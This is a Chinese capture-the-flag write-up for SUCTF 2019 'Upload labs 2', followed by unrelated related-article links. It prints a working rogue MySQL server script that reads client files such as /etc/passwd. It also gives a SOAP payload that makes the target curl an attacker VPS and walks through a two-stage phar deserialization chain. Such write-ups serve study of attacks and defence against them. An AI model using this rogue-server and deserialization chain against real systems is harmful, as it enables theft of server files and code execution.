这篇主要记录一下这道题目的预期解法

做这道题首先要在自己的vps搭建一个rouge mysql,里面要填写需要读取客户端的文件名,即我们上传的phar文件路径

先搭一个rouge mysql测试看看:

#coding=utf-8
#python2.x
import socket
import logging
logging.basicConfig(level=logging.DEBUG)
#filename="phar:///var/www/html/upload/bdb01307672a35c91848f1c1d093c343/d01deaab382af320bb80e16efc8ecd78.gif"
filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()

首先尝试读一个/etc/passwd看看

此时只需要在服务器启动rouge mysql即可

此时可以看到服务器已经监听了3306端口等待客户端的连接

我们依照以下mysql客户端的配置来构造payload:

客户端选择mysqli类

$m = new mysqli(); 
$m->init();
$m->real_connect('vps_ip','select 1','select 1','select 1',3306);
$m->query('select 1;');

这里只需要配置ip和端口接口

接下来就能够读取到客户端的/etc/passwd文件了,那么只需要修改一下soap请求中的post参数即可,修改成客户端连接rouge mysql的参数形式

那么对应的soap请求中的post参数改为:

'admin=1&cmd=curl vps_ip&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=vps_ip&arg2[1]=root&arg2[2]=123&arg2[3]=test&arg2[4]=3306&func3=query&arg3=select 1'

然后上传phar文件:

此时将得到回显一个回显路径:

那么此时再上传第二个phar文件,因为此时在rouge mysql上需要给客户端发送读取phar文件,这时客户端才会打开这个phar文件,从而触发有漏洞的stream,导致反序列化,

所以此时需要新建一个phar文件,那么肯定要存在待会要反序列化的Ad类,然后生成phar上传,将会得到一个新的phar路径,这个就是我们要在rouge mysql上配置的要读取的文件路径

然后我们此时再访问我们上传的第一个phar文件,就能够打通整个攻击链了,这里和zedd师傅交流了,需要对源代码进行一个小的修改

在调用反射类实现的real_connect方法时参数实际上为5个参数,对应着ip,数据库用户名、数据库密码、数据库名,端口,所以不能够直接以数据传进去,所以这里需要改成

invode($this->instance,$this->arg2[0],$this->arg2[1],$this->arg2[2],$this->arg2[3],$this->arg2[4])

然后再回到func.php来触发漏洞,为了方便测试,我在本地里面写的wakeup函数是curl vps的端口

那么触发phar以后,vps的rouge mysql将接受到客户端的请求,并且此时vps监听的端口也将收到curl请求,整个攻击链都打通了

梳理一下这个题目的流程:

1.首先bypass协议限制,构造phar包

2.构造soap请求admin.php,触发Ad类中的反射类

3.rouge mysql 客户端文件任意读取

整个攻击流程用到了两次phar反序列化

第一次phar反序列化,触发File类

类中__wakeup函数来反射一个soap类,调用check函数触发请求,这里exp中file_name构造为一个数组传入$this->file_name是可以的,实际上就当作是构造函数的参数了可以分解为两个参数,因为soap请求第一个参数要为null,即非wsdl型,第二个参数才是注入post请求的参数

第二次mysql本地读取文件时造成phar反序列化,触发Ad类__wakeup函数触发getflag

这里payload传入的时候就不能直接传入一个数组了,

这里invoke实际上是调用类中的方法,第一个参数就是实例化的mysqli对象,第二个参数就是传给要调用的$reflectionMethod的参数,这里不能用数组。

所以整个攻击链就分析完了,还是踩了不少坑:

1.docker里面直接docker-compose up -d起来,soap发送请求时要修改一下ip和端口,要是默认是127.0.0.1:9025端口这样是访问不到127.0.0.1:9025/admin.php的,必须修改为docker容器的ip地址

那么对应的验证是否为127.0.0.1的地方也要修改一下,修改为

这样本地才可以跑通,rouge mysql的攻击面实际上在cms里面也还有很多,有兴趣的话可以结合cms好好研究研究

结合suctf-upload labs-RougeMysql再学习的更多相关文章

  1. SUCTF 2019 Upload labs 2 踩坑记录

    SUCTF 2019 Upload labs 2 踩坑记录 题目地址 : https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload La ...

  2. js再学习笔记

    #js再学习笔记 ##基本 1.js严格区分大小写   2.js末尾的分号可加,也可不加   3.六种数据类型(使用typeof来检验数据的类型) `typeof` - undefined: `var ...

  3. express再学习

    对比spring,django,再学习express就有很多共通的地方啦... 看的书是一本小书,<express in action>,排版比较好. 昨天开始看,看了快四分之一啦... ...

  4. Android再学习-20141023-Intent-Thread

    20141023-Android再学习 Intent对象的基本概念 Intent是Android应用程序组件之一 Intent对象在Android系统中表示一种意图 Intent当中最重要的内容是ac ...

  5. Android再学习-20141022-Activity的生命周期

    20141022-Android再学习 如何在一个应用程序当中定义多个Activity 定义一个类,继承Activity 在该类当中,复写Activity当中的onCreate方法.onCreate( ...

  6. Android再学习-20141018-布局-进度条

    20141018-Android再学习 对齐至控件的基准线 为了保证印刷字母的整齐而划定的线(四线三格的第三条线). android:layout_alignBaseline 与父控件的四个边缘对齐( ...

  7. 再学习sqlhelper

    在机房收费重构系统的时候,第一次学习sqlhelper.当时感觉比较简单,没有写博客总结,现在又经过了图书馆的学习,感觉还是有必要写一写的. SqlHelper是一个基于.NETFramework的数 ...

  8. c/c++再学习:常用字符串转数字操作

    c/c++再学习:常用字符串转数字操作 能实现字符串转数字有三种方法,atof函数,sscanf函数和stringstream类. 具体demo代码和运行结果 #include "stdio ...

  9. c/c++再学习:C与Python相互调用

    c/c++再学习:Python调用C函数 Python 调用C函数比较简单 这里两个例子,一个是直接调用参数,另一个是调用结构体 C代码 typedef struct { int i1; int i2 ...

  10. MQTT再学习 -- MQTT 客户端源码分析

    MQTT 源码分析,搜索了一下发现网络上讲的很少,多是逍遥子的那几篇. 参看:逍遥子_mosquitto源码分析系列 参看:MQTT libmosquitto源码分析 参看:Mosquitto学习笔记 ...

随机推荐

  1. docker学习笔记-简介

    零.什么是Docker 是一个基于GO语言开发的开源 应用容器: 开发者可以打包应用和相关包,到一个 轻量级 . 可移植 的 容器 中,并且可以发布到 任何机器 ,实现 虚拟化: 完全使用 沙箱机制, ...

  2. Appium+python自动化(二十二)- 三个臭皮匠顶个诸葛亮-控件坐标获取(超详解)

    简介 有些小伙伴或者是童鞋可能会好奇会问上一篇中的那个monkey脚本里的坐标点是如何获取的,不是自己随便蒙的猜的,或者是自己用目光或者是尺子量出来的吧,答案当然是:NO.获取控件坐标点的方式这里宏哥 ...

  3. Spark-windows安装

    Spark 目的:达到能在pycharm中测试 1.安装必要的文件: JDK AnaConda spark hadoop jdk测试:java -version Anaconda测试: 打开Anaco ...

  4. 关于tomcat-startup.bat启动失败或者一闪而过问题解决记录

    一.前言 Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选.对于一个初学者来说 ...

  5. java和golang通过protobuf协议相互通信

    目录 整体结构说明 protobuf2文件 golang客户端 目录结构 生成pb.go文件 main.go util.go java服务端 目录结构 pom.xml application.yml ...

  6. 九、chart控件的使用(图表数据的展示)

    chart属于老插件网上还有新的插件功能也更多) Chart控件是VS自带的控件,只是比较老了,功能肯定不如现在出来的某些插件强,不过对于简单的显示还是够用:那么现在来看看chart控件的使用方法: ...

  7. spring aop(四)

    直接找到解析aop标签的方法: protected void parseBeanDefinitions(Element root, BeanDefinitionParserDelegate deleg ...

  8. kubernetes CRD 开发指南

    扩展kubernetes两个最常用最需要掌握的东西:自定义资源CRD 和 adminsion webhook, 本文教你如何十分钟掌握CRD开发. kubernetes允许用户自定义自己的资源对象,就 ...

  9. Jmeter脚本录制--HTTP代理服务器

    Jmeter脚本录制功能依赖第三方工具Badboy,所以在安装了Jmeter之后,还需要再安装一个工具. Badboy本身自带浏览器,相关操作只能在Badboy上进行操作,偶尔可能会遇到浏览器兼容的问 ...

  10. 【iOS】获取应用程序本地路径

    Xcode 会为每一个应用程序生成一个私有目录,并随机生成一个数字和字母串作为目录名,在每一次应用程序启动时,这个字母数字串都是不同于上一次. 所以通常使用 Documents 目录进行数据持久化的保 ...